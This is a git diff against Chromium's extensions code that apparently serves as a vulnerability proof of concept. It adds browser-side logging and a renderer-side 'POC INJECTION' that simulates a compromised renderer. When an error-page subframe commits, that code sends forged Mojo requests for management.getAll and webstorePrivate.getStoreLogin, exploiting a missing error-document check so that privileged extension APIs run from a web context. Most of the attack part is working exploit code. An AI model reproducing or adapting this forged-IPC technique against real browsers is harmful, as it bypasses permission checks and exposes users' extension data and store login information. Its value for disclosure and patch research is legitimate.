diff --git a/extensions/browser/extension_function_dispatcher.cc b/extensions/browser/extension_function_dispatcher.cc index a15ee68417cf1..04f6b197b7dc2 100644 --- a/extensions/browser/extension_function_dispatcher.cc +++ b/extensions/browser/extension_function_dispatcher.cc @@ -58,6 +58,7 @@ #include "extensions/common/mojom/context_type.mojom.h" #include "extensions/common/trace_util.h" #include "mojo/public/cpp/bindings/message.h" +#include "url/origin.h" using content::BrowserThread; using perfetto::protos::pbzero::ChromeTrackEvent; @@ -286,6 +287,26 @@ void ExtensionFunctionDispatcher::DispatchWithCallbackInternal( render_frame_host->GetProcess()->GetDeprecatedID()); } + // ================================================================== + // POC LOGGING (browser process). This is observation-only — it does + // not change dispatch behaviour. It records the state at the moment + // the browser computes source_url() for the incoming Request. + // ================================================================== + if (render_frame_host) { + LOG(ERROR) + << "POC[browser]: LocalFrameHost::Request name='" << params->name + << "' render_process_id=" << render_process_id + << " RFH.GetLastCommittedURL()=" + << render_frame_host->GetLastCommittedURL().spec() + << " RFH.IsErrorDocument()=" + << (render_frame_host->IsErrorDocument() ? "true" : "false") + << " RFH.GetLastCommittedOrigin()=" + << render_frame_host->GetLastCommittedOrigin().GetDebugString() + << " context_type=" << static_cast(params->context_type) + << " extension_id='" << params->extension_id << "'"; + } + // ================================================================== + ExtensionRegistry* registry = ExtensionRegistry::Get(browser_context_); const Extension* extension = registry->enabled_extensions().GetByID(params->extension_id); @@ -615,6 +636,21 @@ ExtensionFunctionDispatcher::CreateExtensionFunction( return nullptr; } + // ================================================================== + // POC LOGGING (browser process): HasPermission() PASSED. + // ================================================================== + if (render_frame_host && render_frame_host->IsErrorDocument()) { + LOG(ERROR) + << "POC[browser]: *** HasPermission() PASSED for '" + << params_without_args.name + << "' from ERROR-DOCUMENT subframe: source_url()=" + << function->source_url().spec() + << " process=" << requesting_process_id + << " extension=" << (extension ? extension->id().c_str() : "(null)") + << " — function will execute in browser process ***"; + } + // ================================================================== + return function; } } // namespace extensions diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc index 5273756a5fca9..7f856be6632ff 100644 --- a/extensions/renderer/extension_frame_helper.cc +++ b/extensions/renderer/extension_frame_helper.cc @@ -4,12 +4,16 @@ #include "extensions/renderer/extension_frame_helper.h" +#include + #include #include #include "base/auto_reset.h" #include "base/containers/map_util.h" #include "base/feature_list.h" +#include "base/json/json_writer.h" +#include "base/logging.h" #include "base/strings/string_util.h" #include "base/timer/elapsed_timer.h" #include "content/public/renderer/render_frame.h" @@ -286,6 +290,87 @@ void ExtensionFrameHelper::DidCreateDocumentElement() { did_create_current_document_element_ = true; extension_dispatcher_->DidCreateDocumentElement( render_frame()->GetWebFrame()); + + // ================================================================== + // POC INJECTION: simulate a compromised renderer. + // When an error-page subframe (CSP-blocked nav to chromewebstore) + // commits in this process, bind extensions.mojom.LocalFrameHost on + // that subframe's RenderFrame and send a forged Request() for + // management.getAll with context_type=kWebPage and extension_id="". + // The browser process uses the subframe RFH's GetLastCommittedURL() + // (= the failed cross-origin URL) as source_url() with no + // IsErrorDocument() filter, so HasPermission() passes and the + // function executes. + // ================================================================== + blink::WebLocalFrame* poc_frame = render_frame()->GetWebFrame(); + blink::WebDocumentLoader* poc_loader = + poc_frame ? poc_frame->GetDocumentLoader() : nullptr; + if (!render_frame()->IsMainFrame() && poc_loader && + poc_loader->HasUnreachableURL()) { + GURL failed_url(poc_loader->UnreachableWebURL()); + LOG(ERROR) << "POC[renderer pid=" << getpid() + << "]: error-page subframe committed in attacker process; " + "failed_url=" + << failed_url.spec() + << " — sending forged LocalFrameHost::Request(" + "management.getAll, context=kWebPage, ext_id=\"\")"; + + auto poc_params = mojom::RequestParams::New(); + poc_params->name = "management.getAll"; + poc_params->arguments = base::ListValue(); + poc_params->extension_id = ""; + poc_params->source_url = GURL("http://attacker.example/ignored"); + poc_params->context_type = mojom::ContextType::kWebPage; + poc_params->request_id = 1; + poc_params->has_callback = true; + poc_params->user_gesture = true; + poc_params->worker_thread_id = kMainThreadId; + poc_params->service_worker_version_id = -1; // kInvalid + poc_params->js_callstack = std::nullopt; + + GetLocalFrameHost()->Request( + std::move(poc_params), + base::BindOnce([](bool success, base::ListValue results, + const std::string& error, + mojom::ExtraResponseDataPtr extra) { + std::string json; + base::JSONWriter::Write(results, &json); + LOG(ERROR) << "POC[renderer pid=" << getpid() + << "]: management.getAll RESPONSE: success=" << success + << " error='" << error << "' results=" << json; + })); + + // Also fire webstorePrivate.getStoreLogin to demonstrate the + // webstorePrivate surface. + auto poc_params2 = mojom::RequestParams::New(); + poc_params2->name = "webstorePrivate.getStoreLogin"; + poc_params2->arguments = base::ListValue(); + poc_params2->extension_id = ""; + poc_params2->source_url = GURL("http://attacker.example/ignored"); + poc_params2->context_type = mojom::ContextType::kWebPage; + poc_params2->request_id = 2; + poc_params2->has_callback = true; + poc_params2->user_gesture = true; + poc_params2->worker_thread_id = kMainThreadId; + poc_params2->service_worker_version_id = -1; + poc_params2->js_callstack = std::nullopt; + + GetLocalFrameHost()->Request( + std::move(poc_params2), + base::BindOnce([](bool success, base::ListValue results, + const std::string& error, + mojom::ExtraResponseDataPtr extra) { + std::string json; + base::JSONWriter::Write(results, &json); + LOG(ERROR) << "POC[renderer pid=" << getpid() + << "]: webstorePrivate.getStoreLogin RESPONSE: success=" + << success << " error='" << error + << "' results=" << json; + })); + } + // ================================================================== + // END POC INJECTION + // ================================================================== } void ExtensionFrameHelper::DidCreateNewDocument() {